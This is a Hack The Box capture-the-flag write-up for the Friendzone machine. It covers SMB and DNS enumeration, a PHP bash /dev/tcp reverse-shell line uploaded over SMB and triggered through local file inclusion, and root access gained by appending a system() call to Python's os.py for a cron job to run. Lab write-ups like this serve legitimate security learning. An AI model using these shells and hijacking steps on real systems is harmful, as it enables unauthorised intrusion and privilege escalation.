Hack The Box - Friendzone

Today, we are going to pwn Friendzone from Hack The Box.


  • Nmap scan of the machine
  • Checking SMB service and HTTP
  • Using dig to get subdomians
  • Uploading PHP reverse shell
  • Callback the reverse shell by exploiting LFI(Local File Inclusion)
  • Getting user flag and SSH credentials
  • Using cronjob to get root flag


Starting off with the nmap, nmap -sV -sC -A shows so many open ports but we have to start somewhere.
It includes:-

  • 21 - FTP
  • 22 - SSH
  • 53 - DNS
  • 80 - HTTP
  • 139 & 445 - SMB
  • 443 - SSL/HTTP

SMB and HTTP Enumeration

Using smbmap reveals we have access to general for read only and Development for read/write access.
So, we connect to SMB by using smbclient // -u root reveals we see creds.txt so we get it on our machine.

Now, Developement seems empty so I headover to HTTP port, it was basic html page without only one useful information subdomain. We noticed it has a subdomian named friendzone.red.
Running gobuster reveals nothing useful, so I moved on to DNS recon.

DNS Enumeration and Login

Using dig axrf friendzone.red @ reveals a administartor1.friendzone.red so heading over to that shows a login page, loggin with the previous obtained credentials admin:WORKWORKHhallelujah@# , tell us to redirect to dashboard.php.

Exploiting LFI vulnerability and callback Reverse Shell

This page seems told us to access url default is image_id=a.jpg&pagename=timestamp, seems LFI isn’t it?

From previous SMB enumeration we knew that Development directory has read/write access so using php reverse shell wecan get access to friendzone machine.

Using folllowing code as phpinfo.php:-

exec(“/bin/bash -c ‘bash -i >& /dev/tcp/ 0>&1’”);

we uploaded it to Development directory by

curl --upload-file phpinfo.php -u 'root' smb://, we uploaded our shell.


From previously found LFI, we access the our phpinfo file by

Not a.jpg because it was default so no need to, so back to our listener we get a shell.

User Flag

Once your listener get connected to our uploaded reverse shell you can get user flag.

Getting SSH Credentials

Checking directory and file reveals a interseting file named mysql_data.conf has following credentials:-

for development process this is the mysql creds for user friend




SSH Login and root flag

Well, we login to ssh using previous credentials.

Analyzing Running Processes

There was a ELF file named pspy64, executing it shows running jobs in which we can very interesting process whuch was a python file.

Head over /opt/server_admin/reporter.py shows a nothing more than bunch of commented out line of python code.


import os

to_address = “admin1@friendzone.com”
from_address = “

print “[+] Trying to send email to %s”%to_address

#command = ‘’’ mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass “PAPAP”’’’


# I need to edit the script later
# Sam ~ python developer

We can see a line importing python os module, since we don’t have modify permissions for reporter.py we head over /usr/bin/python2.7 we can edit os.py i.e python’s os module which has a function which allows us to execute any command by passing them as parameter.

For example:-

import os
os.sytem('whoami') #friend

So we add a single line of code at the very end of os.py

system('cp /root/root.txt /tmp/root1.txt') # calling system functon and copying flag

Hence, waiting for few minutes gives root1.txt.


Hack The Box

Author: D4mianwayne
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